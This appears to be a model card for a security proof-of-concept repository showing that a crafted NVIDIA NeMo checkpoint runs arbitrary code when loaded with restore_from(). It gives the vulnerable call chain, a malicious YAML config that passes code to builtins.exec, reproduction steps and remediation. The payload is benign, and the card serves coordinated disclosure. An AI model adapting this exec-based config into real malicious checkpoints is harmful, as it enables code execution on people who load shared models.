File size: 4,514 Bytes
1fed603
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
---
license: apache-2.0
tags:
  - security
  - proof-of-concept
  - do-not-use
viewer: false
---

# ⚠️ SECURITY RESEARCH PoC β€” DO NOT LOAD THIS MODEL ⚠️

This repository is **not a real model**. It hosts a single crafted
`malicious_vocoder.nemo` that demonstrates **arbitrary code execution** when an
untrusted NVIDIA **NeMo** `.nemo` checkpoint is loaded with the standard
`restore_from()` API.

It exists solely for **coordinated disclosure** to the NeMo maintainers via
[huntr](https://huntr.com). The payload is **benign** β€” it prints a banner and
writes a marker file `PWNED_NEMO_HF.txt` into your OS temp directory. **Do not
load it** unless you understand exactly what it does.

Affected: `nemo_toolkit` **2.7.3 (latest)** and `main` (2.8.0). No OSV/GHSA
advisory covers 2.7.x.

---

## The bug in one paragraph

A `.nemo` file is a tar archive containing `model_config.yaml`. On
`restore_from()`, NeMo loads that **untrusted** YAML and constructs the model.
Several TTS/vocoder `__init__` methods then call **`hydra.utils.instantiate(self._cfg.<subkey>)`
directly** on sub-configs taken verbatim from the YAML. `instantiate()` resolves
and **calls the `_target_`** with attacker-supplied `_args_`, so a sub-config
like `preprocessor: {_target_: builtins.exec, _args_: ["<python>"]}` runs
arbitrary code at load time. These raw calls **bypass** NeMo's `safe_instantiate`
allow-list (the CVE-2026-24159 hardening), which only guards the
`from_config_dict` `_target_` branch β€” not the model `__init__` path.

## Vulnerable chain (NeMo 2.7.3)

1. `nemo/core/connectors/save_restore_connector.py` β€” `OmegaConf.load(model_config.yaml)` (untrusted)
2. `…` β€” `calling_cls.from_config_dict(config=conf, trainer=trainer)`
3. `nemo/core/classes/common.py:589` `from_config_dict` β€” a normal model config (no top-level `_target_`) hits the `else` branch and constructs `cls(cfg=config)`, running the model `__init__` with the untrusted config (only the `_target_` / `cls+params` branches route through guarded `safe_instantiate`).
4. `nemo/collections/tts/models/waveglow.py:49`
   ```python
   self.audio_to_melspec_precessor = instantiate(self._cfg.preprocessor)  # RAW, no allow-list
   ```
   where `instantiate` is `from hydra.utils import instantiate` (waveglow.py:17).
5. `hydra.utils.instantiate` executes the attacker `_target_` β†’ **RCE**.

Same raw `instantiate(self._cfg.*)` sink in: `tacotron2.py:113-115`,
`two_stages.py:126/131`, `spectrogram_enhancer.py:276`, plus `univnet.py`,
`vits.py`, `radtts.py`, `mixer_tts.py` (all `from hydra.utils import instantiate`).
A second, independent vector is the legacy `target` else-branch in
`common.py:614` (`import_class_by_path(config["target"])` β†’ `imported_cls(cfg=config)`),
also unguarded.

## The malicious `model_config.yaml` (inside the .nemo)

```yaml
sigma: 1.0
preprocessor:
  _target_: builtins.exec
  _args_:
    - |
      import os, tempfile
      open(os.path.join(tempfile.gettempdir(), "PWNED_NEMO_HF.txt"), "w").write("RCE")
      print("[PWNED] code ran inside WaveGlowModel.restore_from()")
waveglow: {}
```

## Reproduce (victim's point of view)

```bash
pip install nemo_toolkit[tts] huggingface_hub
```
```python
from huggingface_hub import hf_hub_download
from nemo.collections.tts.models import WaveGlowModel

path = hf_hub_download(repo_id="<this-repo>", filename="malicious_vocoder.nemo")
WaveGlowModel.restore_from(path)     # __init__ -> instantiate(self._cfg.preprocessor) -> code runs
```

Observed: a `[PWNED] …` banner prints and `PWNED_NEMO_HF.txt` appears in your
temp dir, **before** `restore_from` errors out on the placeholder weights β€”
proving the code runs at load time.

## Impact

`.nemo` checkpoints are routinely distributed via the Hugging Face Hub and
NVIDIA NGC; `restore_from` is **the** standard loading API. A victim loading an
attacker's TTS/vocoder `.nemo` β€” a normal, trusted-looking action β€” gets
arbitrary code execution in their process.
`CVSS:3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` (~8.8 High).

## Remediation

Route all model-config-driven instantiation through `safe_instantiate` (or run
`_validate_config_targets_recursive` before every
`hydra.utils.instantiate(self._cfg.*)` in `nemo/collections/tts/models/*`), and
guard the legacy `target` branch in `from_config_dict` (`common.py:605-625`).

---

*Reported responsibly via huntr. Files in this repo are inert configuration; the
"weights" are a zero-byte placeholder. Replace the benign payload at your own risk.*